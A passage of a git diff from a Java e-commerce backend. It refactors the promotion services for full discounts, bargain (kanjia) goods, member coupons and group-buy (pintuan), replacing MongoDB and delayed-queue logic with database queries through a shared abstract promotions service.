rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - return true; + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + @Override + public void updatePromotionsGoods(FullDiscount promotions) { + super.updatePromotionsGoods(promotions); + if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus()) + && PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType()) + && promotions instanceof FullDiscountVO) { + FullDiscountVO fullDiscountVO = (FullDiscountVO) promotions; + List promotionGoodsList = PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT); + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); + //促销活动商品更新 + this.promotionGoodsService.saveBatch(promotionGoodsList); + } + + } + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + @Override + public void updateEsGoodsIndex(FullDiscount promotions) { + FullDiscount fullDiscount = JSONUtil.parse(promotions).toBean(FullDiscount.class); + super.updateEsGoodsIndex(fullDiscount); + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.FULL_DISCOUNT; } /** @@ -244,48 +150,49 @@ public class FullDiscountServiceImpl extends ServiceImpl queryWrapper = PromotionTools.checkActiveTime(statTime, endTime, PromotionTypeEnum.FULL_DISCOUNT, storeId, id); - Integer sameNum = this.count(queryWrapper); + long sameNum = this.count(queryWrapper); if (sameNum > 0) { throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); } @@ -357,18 +264,4 @@ public class FullDiscountServiceImpl extends ServiceImpl kanjiaActivityGoodsList = new ArrayList<>(); + List promotionGoodsList = new ArrayList<>(); for (KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO : kanJiaActivityGoodsOperationDTO.getPromotionGoodsList()) { //根据skuId查询商品信息 GoodsSku goodsSku = this.checkSkuExist(kanJiaActivityGoodsDTO.getSkuId()); //参数检测 this.checkParam(kanJiaActivityGoodsDTO, goodsSku); //检测同一时间段是否存在相同的商品 - PromotionTools.checkPromotionTime(kanJiaActivityGoodsOperationDTO.getStartTime().getTime(), kanJiaActivityGoodsOperationDTO.getEndTime().getTime()); + PromotionTools.checkPromotionTime(kanJiaActivityGoodsOperationDTO.getStartTime(), kanJiaActivityGoodsOperationDTO.getEndTime()); kanJiaActivityGoodsDTO.setStartTime(kanJiaActivityGoodsOperationDTO.getStartTime()); kanJiaActivityGoodsDTO.setEndTime(kanJiaActivityGoodsOperationDTO.getEndTime()); //检测同一时间段不能允许添加相同的商品 if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) { throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); } - kanJiaActivityGoodsDTO.setGoodsSku(goodsSku); kanJiaActivityGoodsDTO.setSkuId(kanJiaActivityGoodsDTO.getSkuId()); kanJiaActivityGoodsDTO.setThumbnail(goodsSku.getThumbnail()); kanJiaActivityGoodsDTO.setGoodsName(goodsSku.getGoodsName()); - kanJiaActivityGoodsDTO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - kanJiaActivityGoodsDTO.setOriginalPrice(kanJiaActivityGoodsDTO.getGoodsSku().getPrice()); + kanJiaActivityGoodsDTO.setOriginalPrice(goodsSku.getPrice()); kanjiaActivityGoodsList.add(kanJiaActivityGoodsDTO); + promotionGoodsList.add(new PromotionGoods(kanJiaActivityGoodsDTO)); } - Boolean result = this.saveBatch(kanjiaActivityGoodsList); - if (result) { - //发送砍价延迟任务消息 - for (KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO : kanJiaActivityGoodsOperationDTO.getPromotionGoodsList()) { - this.mongoTemplate.save(kanJiaActivityGoodsDTO); - this.addKanJiaGoodsPromotionTask(kanJiaActivityGoodsDTO); - } - } - return result; + this.promotionGoodsService.saveBatch(promotionGoodsList); + return this.saveBatch(kanjiaActivityGoodsList); } - /** - * 添加砍价商品mq任务 - * - * @param kanJiaActivityGoods 砍价商品信息 - */ - private void addKanJiaGoodsPromotionTask(KanjiaActivityGoodsDTO kanJiaActivityGoods) { - PromotionMessage promotionMessage = new PromotionMessage(kanJiaActivityGoods.getId(), PromotionTypeEnum.KANJIA.name(), - PromotionStatusEnum.START.name(), - kanJiaActivityGoods.getStartTime(), kanJiaActivityGoods.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - } - @Override - public IPage getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO) { - IPage kanJiaActivityGoodsDTOIPage = new Page<>(); - Query query = kanJiaActivityGoodsParams.mongoQuery(); - if (pageVO != null) { - PromotionTools.mongoQueryPageParam(query, pageVO); - kanJiaActivityGoodsDTOIPage.setSize(pageVO.getPageSize()); - kanJiaActivityGoodsDTOIPage.setCurrent(pageVO.getPageNumber()); - } - List kanJiaActivityGoodsDTOS = this.mongoTemplate.find(query, KanjiaActivityGoodsDTO.class); - kanJiaActivityGoodsDTOIPage.setRecords(kanJiaActivityGoodsDTOS); - kanJiaActivityGoodsDTOIPage.setTotal(this.mongoTemplate.count(kanJiaActivityGoodsParams.mongoQuery(), KanjiaActivityGoodsDTO.class)); - return kanJiaActivityGoodsDTOIPage; + public IPage getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO) { + return this.page(PageUtil.initPage(pageVO), kanJiaActivityGoodsParams.wrapper()); } @Override public IPage kanjiaGoodsVOPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO pageVO) { - return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO),kanjiaActivityGoodsParams.wrapper()); + return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO), kanjiaActivityGoodsParams.wrapper()); } @@ -217,16 +157,22 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(KanjiaActivityGoods::getSkuId, skuId); - if (kanJiaActivityGoodsDTO != null && StrUtil.isNotEmpty(kanJiaActivityGoodsDTO.getId())) { - queryWrapper.ne(KanjiaActivityGoods::getId, kanJiaActivityGoodsDTO.getId()); + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.eq("sku_id", skuId); + if (kanJiaActivityGoodsDTO != null && CharSequenceUtil.isNotEmpty(kanJiaActivityGoodsDTO.getId())) { + queryWrapper.ne("id", kanJiaActivityGoodsDTO.getId()); } - queryWrapper.ne(KanjiaActivityGoods::getPromotionStatus, PromotionStatusEnum.END.name()); + queryWrapper.and(i -> i + .or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)) + .or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.NEW))); - queryWrapper.ge(KanjiaActivityGoods::getStartTime, kanJiaActivityGoodsDTO.getStartTime()); + if (kanJiaActivityGoodsDTO != null && kanJiaActivityGoodsDTO.getStartTime() != null) { + queryWrapper.ge("start_time", kanJiaActivityGoodsDTO.getStartTime()); + } - queryWrapper.le(KanjiaActivityGoods::getEndTime, kanJiaActivityGoodsDTO.getEndTime()); + if (kanJiaActivityGoodsDTO != null && kanJiaActivityGoodsDTO.getEndTime() != null) { + queryWrapper.le("end_time", kanJiaActivityGoodsDTO.getEndTime()); + } return this.getOne(queryWrapper); @@ -234,22 +180,27 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl kanjiaActivityGoodsDTOS = this.mongoTemplate.find(query, KanjiaActivityGoodsDTO.class); - return kanjiaActivityGoodsDTOS.get(0); + public KanjiaActivityGoods getKanjiaGoodsBySkuId(String skuId) { + KanjiaActivityGoods kanjiaActivityGoods = this.getOne(new QueryWrapper().eq("sku_id", skuId), false); + if (kanjiaActivityGoods != null && PromotionsStatusEnum.START.name().equals(kanjiaActivityGoods.getPromotionStatus())) { + return kanjiaActivityGoods; + } + return null; } @Override @@ -257,7 +208,7 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl ids) { - List skuIds = new ArrayList<>(); - for (String id : ids) { - KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO = this.getKanjiaGoodsDetail(id); - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - kanJiaActivityGoodsDTO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.KANJIA.name() + kanJiaActivityGoodsDTO.getId())), - rocketmqCustomProperties.getPromotionTopic()); - skuIds.add(kanJiaActivityGoodsDTO.getSkuId()); - } - boolean result = this.removeByIds(ids); - if (result) { - Query query = new Query(); - query.addCriteria(new Criteria("id").in(ids)); - this.mongoTemplate.remove(query, KanjiaActivityGoodsDTO.class); - } - return result; - } - - - @Override - public KanjiaActivityGoodsDTO getKanJiaGoodsBySku(String skuId) { - //mongo查询条件 - Query query = new Query(); - query.addCriteria(Criteria.where("skuId").is(skuId)) - .addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.START.name())); - List kanjiaActivityGoodsDTOList=this.mongoTemplate.find(query, KanjiaActivityGoodsDTO.class); - return kanjiaActivityGoodsDTOList.get(0); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionIds(ids); + this.promotionGoodsService.deletePromotionGoods(searchParams); + return this.removeByIds(ids); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java index cda873f1..88152983 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java @@ -11,7 +11,7 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.mapper.KanJiaActivityLogMapper; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.KanjiaActivityLogService; @@ -62,7 +62,7 @@ public class KanjiaActivityLogServiceImpl extends ServiceImpl() .eq(KanjiaActivityLog::getKanjiaActivityId, kanjiaActivity.getId()) - .eq(KanjiaActivityLog::getKanjiaMemberId, UserContext.getCurrentUser().getId())); + .eq(KanjiaActivityLog::getKanjiaMemberId, authUser.getId())); if (kanjiaActivityLog == null) { kanjiaActivityVO.setHelp(true); } @@ -91,15 +95,16 @@ public class KanjiaActivityServiceImpl extends ServiceImpl queryWrapper = new QueryWrapper<>(); queryWrapper.eq("kanjia_activity_goods_id", kanJiaActivityGoods.getId()); @@ -110,7 +115,7 @@ public class KanjiaActivityServiceImpl extends ServiceImpl() + LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() .eq(KanjiaActivityLog::getKanjiaActivityId, kanjiaActivityId) .eq(KanjiaActivityLog::getKanjiaMemberId, member.getId()); if (kanjiaActivityLogService.count(lambdaQueryWrapper) > 0) { @@ -188,7 +194,7 @@ public class KanjiaActivityServiceImpl extends ServiceImpl= coupon.getPublishNum()) { @@ -63,18 +62,29 @@ public class MemberCouponServiceImpl extends ServiceImpl getMemberCoupons(CouponSearchParams param, PageVO pageVo) { - QueryWrapper queryWrapper = param.wrapper(); + QueryWrapper queryWrapper = param.queryWrapper(); return this.page(PageUtil.initPage(pageVo), queryWrapper); } @Override public List getMemberCoupons() { - LambdaQueryWrapper LambdaQueryWrapper = new LambdaQueryWrapper<>(); - LambdaQueryWrapper.eq(MemberCoupon::getMemberId,UserContext.getCurrentUser().getId()); - LambdaQueryWrapper.eq(MemberCoupon::getMemberCouponStatus,MemberCouponStatusEnum.NEW.name()); - LambdaQueryWrapper.le(MemberCoupon::getStartTime,new Date()); - LambdaQueryWrapper.ge(MemberCoupon::getEndTime,new Date()); - return this.list(LambdaQueryWrapper); + AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser()); + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(MemberCoupon::getMemberId, authUser.getId()); + queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); + queryWrapper.le(MemberCoupon::getStartTime, new Date()); + queryWrapper.ge(MemberCoupon::getEndTime, new Date()); + return this.list(queryWrapper); } /** @@ -112,7 +123,7 @@ public class MemberCouponServiceImpl extends ServiceImpl i.like(MemberCoupon::getScopeId, param.getScopeId()) - .or(j -> j.eq(MemberCoupon::getScopeType, CouponScopeTypeEnum.ALL.name()))); + .or(j -> j.eq(MemberCoupon::getScopeType, PromotionsScopeTypeEnum.ALL.name()))); queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); queryWrapper.le(MemberCoupon::getConsumeThreshold, totalPrice); queryWrapper.ge(MemberCoupon::getEndTime, new Date()); @@ -132,7 +143,7 @@ public class MemberCouponServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(MemberCoupon::getMemberId, memberId); queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); - queryWrapper.eq(MemberCoupon::getScopeType, CouponScopeTypeEnum.ALL.name()); + queryWrapper.eq(MemberCoupon::getScopeType, PromotionsScopeTypeEnum.ALL.name()); queryWrapper.ge(MemberCoupon::getEndTime, new Date()).and(i -> i.in(MemberCoupon::getStoreId, storeId).or(j -> j.eq(MemberCoupon::getIsPlatform, true))); return this.list(queryWrapper); } @Override public Integer getMemberCouponsNum() { + AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser()); QueryWrapper queryWrapper = Wrappers.query(); - queryWrapper.eq("member_id", UserContext.getCurrentUser().getId()); + queryWrapper.eq("member_id", authUser.getId()); queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.NEW.name()); queryWrapper.eq("delete_flag", false); return this.count(queryWrapper); @@ -222,4 +234,27 @@ public class MemberCouponServiceImpl extends ServiceImpl couponIds) { + LambdaUpdateWrapper memberCouponLambdaUpdateWrapper = new LambdaUpdateWrapper() + .in(MemberCoupon::getCouponId, couponIds) + .set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.CLOSED.name()); + this.update(memberCouponLambdaUpdateWrapper); + } + + private void receiverCoupon(String couponId, String memberId, String memberName, Coupon coupon) { + this.checkCouponLimit(couponId, memberId); + MemberCoupon memberCoupon = new MemberCoupon(coupon); + memberCoupon.setMemberId(memberId); + memberCoupon.setMemberName(memberName); + memberCoupon.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name()); + memberCoupon.setIsPlatform(("platform").equals(coupon.getStoreId())); + this.save(memberCoupon); + couponService.receiveCoupon(couponId, 1); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index 46e1f027..136ad57e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -1,47 +1,33 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.common.utils.DateUtil; -import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.order.entity.dos.Order; +import cn.lili.modules.order.order.entity.dto.OrderSearchParams; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; -import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; import cn.lili.modules.promotion.entity.vos.PintuanVO; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.PintuanMapper; import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.mybatis.util.PageUtil; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.message.PromotionMessage; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.util.DelayQueueTools; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -59,18 +45,8 @@ import java.util.stream.Collectors; */ @Service @Transactional(rollbackFor = Exception.class) -public class PintuanServiceImpl extends ServiceImpl implements PintuanService { +public class PintuanServiceImpl extends AbstractPromotionsServiceImpl implements PintuanService { - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; /** * 促销商品 */ @@ -86,23 +62,12 @@ public class PintuanServiceImpl extends ServiceImpl impl */ @Autowired private MemberService memberService; - /** - * RocketMQ - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 订单 */ @Autowired private OrderService orderService; - @Override - public IPage getPintuanByPage(PintuanSearchParams param, PageVO page) { - QueryWrapper queryWrapper = param.wrapper(); - return page(PageUtil.initPage(page), queryWrapper); - } - /** * 获取当前拼团的会员 * @@ -112,53 +77,29 @@ public class PintuanServiceImpl extends ServiceImpl impl @Override public List getPintuanMember(String pintuanId) { List members = new ArrayList<>(); - PintuanVO pintuan = this.getPintuanByIdFromMongo(pintuanId); + Pintuan pintuan = this.getById(pintuanId); if (pintuan == null) { log.error("拼团活动为" + pintuanId + "的拼团活动不存在!"); return new ArrayList<>(); } - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Order::getPromotionId, pintuanId) - .eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()) - .eq(Order::getOrderStatus, OrderStatusEnum.PAID.name()) - .eq(Order::getParentOrderSn, ""); - List orders = orderService.list(queryWrapper); + OrderSearchParams searchParams = new OrderSearchParams(); + searchParams.setOrderStatus(OrderStatusEnum.PAID.name()); + searchParams.setPromotionId(pintuanId); + searchParams.setOrderPromotionType(PromotionTypeEnum.PINTUAN.name()); + searchParams.setParentOrderSn(""); + List orders = orderService.queryListByParams(searchParams); //遍历订单状态为已支付,为团长的拼团订单 for (Order order : orders) { Member member = memberService.getById(order.getMemberId()); PintuanMemberVO memberVO = new PintuanMemberVO(member); - LambdaQueryWrapper countQueryWrapper = new LambdaQueryWrapper<>(); - countQueryWrapper.eq(Order::getOrderStatus, OrderStatusEnum.PAID.name()); - countQueryWrapper.and(i -> i.eq(Order::getSn, order.getSn()).or(j -> j.eq(Order::getParentOrderSn, order.getSn()))); //获取已参团人数 - int count = orderService.count(countQueryWrapper); - //获取待参团人数 - int toBoGrouped = pintuan.getRequiredNum() - count; - memberVO.setGroupNum(pintuan.getRequiredNum()); - memberVO.setGroupedNum(count); - memberVO.setToBeGroupedNum(toBoGrouped); + this.setMemberVONum(memberVO, pintuan.getRequiredNum(), order.getSn()); memberVO.setOrderSn(order.getSn()); members.add(memberVO); } return members; } - @Override - public IPage getPintuanByPageFromMongo(PintuanSearchParams param, PageVO page) { - IPage pintuanPage = new Page<>(); - Query query = param.mongoQuery(); - if (page != null) { - page.setNotConvert(true); - PromotionTools.mongoQueryPageParam(query, page); - pintuanPage.setCurrent(page.getPageNumber()); - pintuanPage.setSize(page.getPageSize()); - } - List pintuanVOS = mongoTemplate.find(query, PintuanVO.class); - pintuanPage.setRecords(pintuanVOS); - pintuanPage.setTotal(this.getPintuanByPageFromMongoCount(param)); - return pintuanPage; - } - /** * 从mongo中查询拼团活动详情 * @@ -166,161 +107,17 @@ public class PintuanServiceImpl extends ServiceImpl impl * @return 拼团活动详情 */ @Override - public PintuanVO getPintuanByIdFromMongo(String id) { - PintuanVO pintuanVO = mongoTemplate.findById(id, PintuanVO.class); - if (pintuanVO == null) { - log.error("拼团活动id[" + id + "]的拼团活动不存在!"); - throw new ServiceException(ResultCode.ERROR); - } - return pintuanVO; - } - - /** - * 从mysql中查询拼团活动详情 - * - * @param id 拼团活动id - * @return 拼团活动详情 - */ - @Override - public Pintuan getPintuanById(String id) { + public PintuanVO getPintuanVO(String id) { Pintuan pintuan = this.getById(id); if (pintuan == null) { log.error("拼团活动id[" + id + "]的拼团活动不存在!"); - throw new ServiceException(ResultCode.ERROR); + throw new ServiceException(ResultCode.PINTUAN_NOT_EXIST_ERROR); } - return pintuan; - } - - /** - * 从mongo中根据条件查询拼团活动总数 - * - * @param param 拼团活动查询参数 - * @return 总数 - */ - @Override - public Long getPintuanByPageFromMongoCount(PintuanSearchParams param) { - Query query = param.mongoQuery(); - return mongoTemplate.count(query, PintuanVO.class); - } - - @Override - public boolean addPintuan(PintuanVO pintuan) { - PromotionTools.checkPromotionTime(pintuan.getStartTime().getTime(), pintuan.getEndTime().getTime()); - pintuan.setPromotionStatus(PromotionStatusEnum.NEW.name()); - //保存到MYSQL中 - boolean result = this.save(pintuan); - this.updatePintuanPromotionGoods(pintuan); - this.mongoTemplate.save(pintuan); - this.addPintuanStartTask(pintuan); - return result; - } - - @Override - public boolean modifyPintuan(PintuanVO pintuan) { - PintuanVO pintuanVO = this.checkExist(pintuan.getId()); - if (!pintuan.getPromotionStatus().equals(PromotionStatusEnum.NEW.name())) { - throw new ServiceException(ResultCode.PINTUAN_EDIT_ERROR_ITS_OPEN); - } - //检查促销时间 - PromotionTools.checkPromotionTime(pintuan.getStartTime().getTime(), pintuan.getEndTime().getTime()); - boolean result = this.updateById(pintuan); - if (pintuan.getPromotionGoodsList() != null) { - this.updatePintuanPromotionGoods(pintuan); - } - this.mongoTemplate.save(pintuan); - //时间发生变化 - if (pintuan.getStartTime().getTime() != pintuanVO.getStartTime().getTime()) { - PromotionMessage promotionMessage = new PromotionMessage(pintuan.getId(), PromotionTypeEnum.PINTUAN.name(), PromotionStatusEnum.START.name(), pintuan.getStartTime(), pintuan.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - pintuanVO.getStartTime().getTime(), - pintuan.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(pintuanVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - } - return result; - } - - @Override - public boolean openPintuan(String pintuanId, Date startTime, Date endTime) { - PintuanVO pintuan = checkExist(pintuanId); - pintuan.setStartTime(startTime); - pintuan.setEndTime(endTime); - boolean result; - - long endTimeLong = endTime.getTime() / 1000; - //如果还在活动时间内 - if (endTimeLong > DateUtil.getDateline()) { - pintuan.setPromotionStatus(PromotionStatusEnum.NEW.name()); - updatePintuanPromotionGoods(pintuan); - this.addPintuanStartTask(pintuan); - } else { - //活动时间范围外,修改状态为已结束 - pintuan.setPromotionStatus(PromotionStatusEnum.END.name()); - } - - pintuan.setPromotionGoodsList(new ArrayList<>()); - result = this.updateById(pintuan); - this.mongoTemplate.save(pintuan); - return result; - } - - @Override - public boolean closePintuan(String pintuanId) { - PintuanVO pintuan = checkExist(pintuanId); - - long endTime = pintuan.getEndTime().getTime() / 1000; - //如果还在活动时间内 - if (endTime > DateUtil.getDateline()) { - //表示可以再次开启,则不处理未成团订单,因为可以开启 - pintuan.setPromotionStatus(PromotionStatusEnum.CLOSE.name()); - } else { - pintuan.setPromotionStatus(PromotionStatusEnum.END.name()); - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); - queryWrapper.eq(Order::getPromotionId, pintuanId); - queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or().eq(Order::getOrderStatus, OrderStatusEnum.PAID.name())); - //过滤父级拼团订单,根据父级拼团订单分组 - Map> collect = orderService.list(queryWrapper).stream().filter(i -> StrUtil.isNotEmpty(i.getParentOrderSn())).collect(Collectors.groupingBy(Order::getParentOrderSn)); - this.isOpenFictitiousPintuan(pintuan, collect); - - } - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(Pintuan::getId, pintuanId).set(Pintuan::getPromotionStatus, PromotionStatusEnum.CLOSE.name()); - boolean result = this.update(updateWrapper); - if (pintuan.getPromotionGoodsList() != null && !pintuan.getPromotionGoodsList().isEmpty()) { - LambdaQueryWrapper deleteWrapper = new LambdaQueryWrapper<>(); - deleteWrapper.eq(PromotionGoods::getPromotionId, pintuanId); - promotionGoodsService.remove(deleteWrapper); - pintuan.setPromotionGoodsList(new ArrayList<>()); - } - this.removePintuanGoodsFromEs(pintuanId, pintuan.getStartTime().getTime()); - this.mongoTemplate.save(pintuan); - return result; - } - - /** - * 删除拼团 - * - * @param pintuanId 拼团活动编号 - * @return 是否成功 - */ - @Override - public boolean deletePintuan(String pintuanId) { - PintuanVO pintuanVO = this.checkExist(pintuanId); - pintuanVO.setDeleteFlag(true); - if (pintuanVO.getPromotionGoodsList() != null && !pintuanVO.getPromotionGoodsList().isEmpty()) { - LambdaQueryWrapper deleteWrapper = new LambdaQueryWrapper<>(); - deleteWrapper.eq(PromotionGoods::getPromotionId, pintuanId); - promotionGoodsService.remove(deleteWrapper); - pintuanVO.setPromotionGoodsList(new ArrayList<>()); - } - boolean result = this.updateById(pintuanVO); - this.mongoTemplate.save(pintuanVO); - this.removePintuanGoodsFromEs(pintuanId, pintuanVO.getStartTime().getTime()); - return result; + PintuanVO pintuanVO = new PintuanVO(pintuan); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(pintuan.getId()); + pintuanVO.setPromotionGoodsList(promotionGoodsService.listFindAll(searchParams)); + return pintuanVO; } /** @@ -334,28 +131,103 @@ public class PintuanServiceImpl extends ServiceImpl impl public PintuanShareVO getPintuanShareInfo(String parentOrderSn, String skuId) { PintuanShareVO pintuanShareVO = new PintuanShareVO(); pintuanShareVO.setPintuanMemberVOS(new ArrayList<>()); - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); //查找团长订单和已和当前拼团订单拼团的订单 - queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()) - .eq(Order::getPayStatus, OrderStatusEnum.PAID.name()) - .and(i -> i.eq(Order::getParentOrderSn, parentOrderSn).or(j -> j.eq(Order::getSn, parentOrderSn))); - List orders = orderService.list(queryWrapper); + List orders = orderService.queryListByPromotion(PromotionTypeEnum.PINTUAN.name(), PayStatusEnum.PAID.name(), parentOrderSn, parentOrderSn); this.setPintuanOrderInfo(orders, pintuanShareVO, skuId); //如果为根据团员订单sn查询拼团订单信息时,找到团长订单sn,然后找到所有参与到同一拼团的订单信息 if (!orders.isEmpty() && pintuanShareVO.getPromotionGoods() == null) { - LambdaQueryWrapper orderLambdaQueryWrapper = new LambdaQueryWrapper<>(); - //查找团长订单和已和当前拼团订单拼团的订单 - orderLambdaQueryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()) - .eq(Order::getPayStatus, OrderStatusEnum.PAID.name()) - .ne(Order::getSn, parentOrderSn) - .and(i -> i.eq(Order::getParentOrderSn, orders.get(0).getParentOrderSn()).or(j -> j.eq(Order::getSn, orders.get(0).getParentOrderSn()))); - List parentOrders = orderService.list(orderLambdaQueryWrapper); + List parentOrders = orderService.queryListByPromotion(PromotionTypeEnum.PINTUAN.name(), PayStatusEnum.PAID.name(), 